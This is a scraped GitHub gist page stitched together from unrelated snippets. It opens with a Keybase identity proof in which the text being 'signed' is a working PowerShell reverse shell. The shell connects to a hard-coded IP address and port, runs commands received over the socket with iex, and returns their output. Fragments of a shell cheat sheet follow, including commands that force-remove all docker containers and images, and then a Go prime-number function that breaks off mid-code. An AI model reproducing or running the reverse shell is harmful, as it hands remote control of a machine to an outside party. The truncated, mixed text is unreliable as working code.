Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am lukelafountaine on github.
  • I am lukelafountaine (https://keybase.io/lukelafountaine) on keybase.
  • I have a public key ASAwYMbF6v5eEQcMI2YuyggSUuTQdY4bRdfpKlPf8PYzHwo

To claim this, I am signing this object:

$client = New-Object System.Net.Sockets.TCPClient("54.80.225.251",12000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@lukelafountaine
lukelafountaine / useful.sh
Last active April 4, 2018 19:18
Either frequently used or novel shell commands
# remove all docker containers
docker rm -f $(docker ps -a -q)
# remove all docker images
docker rmi $(docker images -q)
# calculate the number of lines in a git repository
git ls-files | xargs wc -l
# delete all branches already merged into master/dev
func NextPrime() <-chan int {
out := make(chan int, 1)
go func() {
out <- 2
composites := make(map[int][]int)
num := 3